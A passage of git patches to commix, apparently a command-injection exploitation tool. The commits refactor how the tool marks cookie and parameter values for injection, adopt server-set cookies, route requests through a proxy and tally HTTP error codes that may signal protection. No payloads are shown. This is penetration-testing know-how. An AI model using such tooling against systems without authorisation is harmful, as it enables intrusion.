menu.options.level == settings.COOKIE_INJECTION_LEVEL: return False else: err_msg = "No parameter(s) found for testing on the provided target URL. " - err_msg += "You must specify the testable parameter(s) and/or " - err_msg += "try to increase '--level' value to perform more tests." + if not menu.options.crawldepth: + err_msg += "You are advised to rerun with '--crawl=2'." print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: @@ -206,6 +207,7 @@ def multi_params_get_value(param, all_params): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"") + checks.check_injection_level() # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -438,6 +440,15 @@ def suffixes(payload, suffix): The cookie based injection. """ def do_cookie_check(cookie): + + """ + Grab the value of parameter. + """ + def multi_params_get_value(parameter): + value = re.findall(r'=(.*)', parameter) + value = ''.join(value) + return value + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. cookie = checks.wildcard_character(cookie) multi_parameters = cookie.split(settings.COOKIE_DELIMITER) @@ -445,8 +456,7 @@ def do_cookie_check(cookie): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) # Grab the value of parameter. - value = re.findall(r'=(.*)', cookie) - value = ''.join(value) + value = multi_params_get_value(cookie) # Replace the value of parameter with INJECT tag # Check if single paramerter is supplied. if len(multi_parameters) == 1: @@ -479,14 +489,12 @@ def do_cookie_check(cookie): return cookie for param in range(0, len(all_params)): if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) + old = multi_params_get_value(all_params[param]) else : old = value # Grab the value of cookie. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) - # Ignoring the anti-CSRF parameter(s).. + value = multi_params_get_value(all_params[param]) + # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): continue # Ignoring the Google analytics cookie parameter. @@ -498,14 +506,11 @@ def do_cookie_check(cookie): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list - else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. @@ -527,9 +532,13 @@ def specify_cookie_parameter(cookie): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: inject_cookie = pairs[param].split("=")[0] + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break - else: inject_cookie = cookie diff --git a/src/utils/settings.py b/src/utils/settings.py index c569121d1f..c5caaae671 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 34cc24453c2df0487919a3ae76996536d6470ab0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 Jan 2023 08:12:06 +0200 Subject: [PATCH 0267/1023] Minor update --- src/core/injections/controller/checks.py | 40 +++++++++++++----------- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 24 insertions(+), 20 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e765794ac4..eaf7b021d2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -234,24 +234,28 @@ def not_declared_cookies(response): candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True - if settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) - while True: - message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" + str(candidate) + "'). " - message += "Do you want to use those [Y/n] > " - set_cookies = common.read_input(message, default="Y", check_batch=True) - if set_cookies in settings.CHOICE_YES: - menu.options.cookie = candidate - break - elif set_cookies in settings.CHOICE_NO: - settings.DECLARED_COOKIES = False - break - elif set_cookies in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(set_cookies) - pass + if menu.options.cookie: + menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate + settings.DECLARED_COOKIES = False + else: + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: + print(settings.SINGLE_WHITESPACE) + while True: + message = "You have not declared cookie(s), while " + message += "server wants to set its own ('" + str(candidate) + "'). " + message += "Do you want to use those [Y/n] > " + set_cookies = common.read_input(message, default="Y", check_batch=True) + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(set_cookies) + pass except (KeyError, TypeError): pass diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b79e87cb90..f81ce39c4e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -216,7 +216,7 @@ def https_open(self, req): # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # Checks for not declared cookie(s), while server wants to set its own. - if menu.options.cookie == None and not menu.options.drop_set_cookie: + if not menu.options.drop_set_cookie: checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). diff --git a/src/utils/settings.py b/src/utils/settings.py index c5caaae671..6b3ff137b0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f94b846d1575ac4710a58cb287fdf9187702f614 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 29 Jan 2023 18:52:35 +0200 Subject: [PATCH 0268/1023] Minor update --- src/core/requests/headers.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f81ce39c4e..1896b38a00 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -221,8 +221,12 @@ def https_open(self, req): # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: + try: + page = checks.page_encoding(err, action="encode") + except Exception as ex: + page = err.read() if settings.VERBOSITY_LEVEL != 0: - print_http_response(err.info(), err.code, err.read()) + print_http_response(err.info(), err.code, page) if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ diff --git a/src/utils/settings.py b/src/utils/settings.py index 6b3ff137b0..4b0622ef57 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2d1f1030e01fb909af04056e1ea9a84bc2b311ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 30 Jan 2023 08:30:55 +0200 Subject: [PATCH 0269/1023] Minor update regarding showing all HTTP error codes raised --- src/core/injections/controller/checks.py | 1 + src/core/injections/controller/controller.py | 1 + src/core/requests/headers.py | 6 ++++++ src/core/requests/requests.py | 2 +- src/utils/common.py | 10 ++++++++++ src/utils/settings.py | 4 +++- 6 files changed, 22 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index eaf7b021d2..78541dab52 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -155,6 +155,7 @@ def user_aborted(filename, url): abort_msg += " phase (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) + common.show_http_error_codes() os._exit(0) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d0308071d8..6da7669e24 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -847,6 +847,7 @@ def do_check(url, http_request_method, filename): # if not settings.MULTI_TARGETS: # print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: + common.show_http_error_codes() raise SystemExit() except KeyboardInterrupt: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1896b38a00..a67adf31e0 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -188,6 +188,11 @@ def https_open(self, req): if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + else: + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "Got " + str(err_msg) + print(settings.print_debug_msg(debug_msg)) if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break @@ -238,6 +243,7 @@ def https_open(self, req): print(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): + settings.HTTP_ERROR_CODES_SUM.append(err.code) if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: error_msg = "Non-standard HTTP status code" diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 2abf819227..388fc6fad2 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -398,7 +398,7 @@ def request_failed(err_msg): else: if len(err_msg) != 0: print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() """ Check if target host is vulnerable. (Cookie-based injection) diff --git a/src/utils/common.py b/src/utils/common.py index b318946f56..645cce5d35 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -140,6 +140,16 @@ def days_from_last_update(): warn_msg += "s"[days_from_last_update == 1:] + "!" print(settings.print_warning_msg(warn_msg)) +""" +Shows all HTTP error codes raised +""" +def show_http_error_codes(): + if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0: + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM): + debug_msg = "Too many 4xx and/or 5xx HTTP error codes " + debug_msg += "could mean that some kind of protection is involved." + print(settings.print_bold_debug_msg(debug_msg)) + """ Automatically create a Github issue with unhandled exception information. PS: Greetz @ sqlmap dev team for that great idea! :) diff --git a/src/utils/settings.py b/src/utils/settings.py index 4b0622ef57..e4b8fc73bc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1073,6 +1073,8 @@ def sys_argv_errors(): GATEWAY_TIMEOUT ] +HTTP_ERROR_CODES_SUM = [] + # End line END_LINE = ["\r", "\n", "\r\n"] From 71cba7cd1b9301b013b4db6f3221b1f4aa0b469a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 31 Jan 2023 07:41:37 +0200 Subject: [PATCH 0270/1023] Minor update regarding proxy option --- src/core/main.py | 6 +++--- src/core/requests/headers.py | 2 -- src/core/requests/proxy.py | 15 +++++++-------- src/core/requests/requests.py | 2 -- src/utils/crawler.py | 6 +++++- src/utils/settings.py | 2 +- 6 files changed, 16 insertions(+), 17 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index aeee1fd0e7..8f60b3eebe 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -152,9 +152,6 @@ def check_internet(url): try: request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS) headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(settings.CHECK_INTERNET_ADDRESS) examine_request(request, url) except: print(settings.SINGLE_WHITESPACE) @@ -190,6 +187,7 @@ def init_request(url): if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel request = _urllib.request.Request(url) + # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." @@ -199,6 +197,8 @@ def init_request(url): debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type debug_msg += " HTTP authentication credentials." print(settings.print_debug_msg(debug_msg)) + if menu.options.proxy: + proxy.do_check() return request """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a67adf31e0..6f7158367c 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -162,8 +162,6 @@ def https_open(self, req): settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_SUPPLIED_TAMPER try: - if menu.options.proxy: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = opener.open(request, timeout=settings.TIMEOUT) _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index a07dc0bec8..786b493313 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -19,6 +19,7 @@ from src.utils import settings from src.core.requests import headers from src.core.requests import requests +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import http_client as _http_client @@ -27,24 +28,22 @@ Use the defined HTTP Proxy """ def use_proxy(request): - headers.do_check(request) try: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except Exception as err_msg: - return requests.request_failed(err_msg) + if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: + return False + else: + return checks.connection_exceptions(err_msg, url=request) """ Check if HTTP Proxy is defined. """ -def do_check(url): +def do_check(): if settings.VERBOSITY_LEVEL != 0: info_msg = "Setting the HTTP proxy for all HTTP requests. " print(settings.print_info_msg(info_msg)) - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) - else: - request = _urllib.request.Request(url) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 388fc6fad2..b1dd6bb92e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -53,8 +53,6 @@ def estimate_response_time(url, timesec): headers.do_check(request) start = time.time() try: - if menu.options.proxy: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 478c22934a..775f515b8c 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -22,6 +22,7 @@ from src.core.injections.controller import checks from src.core.requests import headers from socket import error as SocketError +from src.core.requests import proxy from src.core.requests import redirection from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import input as _input @@ -182,7 +183,10 @@ def request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if menu.options.proxy: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if not menu.options.ignore_redirects: href = redirection.do_check(request, url) if href != url: diff --git a/src/utils/settings.py b/src/utils/settings.py index e4b8fc73bc..e559278dfe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3c8d6cdfa85c6a09137246a2c615695d83d74efa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 1 Feb 2023 08:01:21 +0200 Subject: [PATCH 0271/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/71cba7cd1b9301b013b4db6f3221b1f4aa0b469a --- src/core/injections/controller/checks.py | 6 +++-- src/core/requests/proxy.py | 12 +++++---- src/core/requests/requests.py | 31 +----------------------- src/utils/crawler.py | 2 ++ src/utils/settings.py | 2 +- 5 files changed, 15 insertions(+), 38 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 78541dab52..61d4929a65 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -170,8 +170,8 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg.args[0]) except IndexError: error_msg = str(err_msg) - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) + # if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: + # print(settings.SINGLE_WHITESPACE) if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection" @@ -220,6 +220,8 @@ def connection_exceptions(err_msg, url): error_msg = error_msg + _ if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: print(settings.print_critical_msg(error_msg)) + if not settings.MULTI_TARGETS and not settings.CRAWLING: + raise SystemExit() settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 786b493313..37ce5b41ce 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -30,12 +30,14 @@ def use_proxy(request): try: request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - return False - else: + try: + if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: + return False + else: + return checks.connection_exceptions(err_msg, url=request) + except: return checks.connection_exceptions(err_msg, url=request) """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b1dd6bb92e..4c14d60905 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -245,36 +245,7 @@ def get_request_response(request): headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - response = False - except _urllib.error.URLError as err_msg: - if "Connection refused" in err_msg.reason: - err_msg = "The target host is not responding. " - err_msg += "Please ensure that is up and try again." - if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \ - settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None: - print(settings.SINGLE_WHITESPACE) - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 775f515b8c..cc428ebe44 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -83,8 +83,10 @@ def normalize_results(output_href): if '=' in key and key not in seen: results.append(target) seen.add(key) + no_usable_links(results) return results elif message in settings.CHOICE_NO: + no_usable_links(output_href) return output_href elif message in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index e559278dfe..831fe707a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c55a872ae4a12387b65571478bc3439cb18fffc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 2 Feb 2023 08:44:30 +0200 Subject: [PATCH 0272/1023] Minor update --- src/core/injections/controller/checks.py | 12 +++++++++--- src/core/requests/headers.py | 9 ++++++--- src/utils/settings.py | 2 +- 3 files changed, 16 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 61d4929a65..37b580ddaf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -234,7 +234,12 @@ def connection_exceptions(err_msg, url): """ def not_declared_cookies(response): try: - candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) + set_cookie_headers = [] + for set_cookie_header in response.getheaders(): + if settings.SET_COOKIE in set_cookie_header: + set_cookie_headers.append(re.search(r'([^;]+);?', set_cookie_header[1]).group(1)) + + candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_headers) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if menu.options.cookie: @@ -245,8 +250,9 @@ def not_declared_cookies(response): print(settings.SINGLE_WHITESPACE) while True: message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" + str(candidate) + "'). " - message += "Do you want to use those [Y/n] > " + message += "server wants to set its own ('" + message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)) + message += "'). Do you want to use those [Y/n] > " set_cookies = common.read_input(message, default="Y", check_batch=True) if set_cookies in settings.CHOICE_YES: menu.options.cookie = candidate diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6f7158367c..c4243b47ba 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -210,6 +210,9 @@ def https_open(self, req): page = checks.page_encoding(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") + # Checks for not declared cookie(s), while server wants to set its own. + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(response) if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. @@ -218,12 +221,12 @@ def https_open(self, req): checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) - # Checks for not declared cookie(s), while server wants to set its own. - if not menu.options.drop_set_cookie: - checks.not_declared_cookies(response) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: + # Checks for not declared cookie(s), while server wants to set its own. + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(err) try: page = checks.page_encoding(err, action="encode") except Exception as ex: diff --git a/src/utils/settings.py b/src/utils/settings.py index 831fe707a7..0fe93b952e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b93527d1cf212767067bfa9dfaa4216cda4c5394 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 Feb 2023 09:34:12 +0200 Subject: [PATCH 0273/1023] Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). --- doc/CHANGELOG.md | 1 + .../techniques/classic/cb_injector.py | 2 +- .../techniques/eval_based/eb_injector.py | 2 +- src/core/requests/proxy.py | 8 +------- src/core/requests/requests.py | 15 +++++++++------ src/utils/crawler.py | 19 +++++++++++-------- src/utils/settings.py | 2 +- 7 files changed, 25 insertions(+), 24 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a1937e8e5e..9ab42d8fee 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 01e7b3de25..14b214df45 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -96,7 +96,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if response == False: + if type(response) is bool and response != True: return False else: # Check the execution results diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 8fd3a8cd04..c9d22ba4f6 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -91,7 +91,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if response == False: + if type(response) is bool and response != True: return False else: html_data = checks.page_encoding(response, action="decode") diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 37ce5b41ce..14290cc5e4 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -32,13 +32,7 @@ def use_proxy(request): request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: - try: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - return False - else: - return checks.connection_exceptions(err_msg, url=request) - except: - return checks.connection_exceptions(err_msg, url=request) + return requests.request_failed(err_msg) """ Check if HTTP Proxy is defined. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4c14d60905..473f961280 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -40,6 +40,7 @@ """ def estimate_response_time(url, timesec): stored_auth_creds = False + _ = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " sys.stdout.write(settings.print_debug_msg(debug_msg)) @@ -56,7 +57,7 @@ def estimate_response_time(url, timesec): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() - + _ = True except _http_client.InvalidURL as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -205,9 +206,9 @@ def estimate_response_time(url, timesec): diff = end - start if int(diff) < 1: - if settings.VERBOSITY_LEVEL != 0 and stored_auth_creds == False: - print(settings.SINGLE_WHITESPACE) url_time_response = int(diff) + if settings.VERBOSITY_LEVEL != 0 and _: + print(settings.SINGLE_WHITESPACE) if settings.TARGET_OS == "win": warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." @@ -344,14 +345,16 @@ def request_failed(err_msg): if settings.MULTI_TARGETS: err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) - if menu.options.auth_type and menu.options.auth_cred or settings.MULTI_TARGETS: + if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS: raise SystemExit() if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ settings.NOT_FOUND_ERROR in str(err_msg).lower(): reason = str(err_msg) + if settings.MULTI_TARGETS: - if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR: + if len(reason) != 0 and (not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(reason)] or \ + menu.options.ignore_code and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR): reason = reason + ". Skipping to the next target." print(settings.print_critical_msg(reason)) raise SystemExit() @@ -365,7 +368,7 @@ def request_failed(err_msg): settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): return True else: - if len(err_msg) != 0: + if 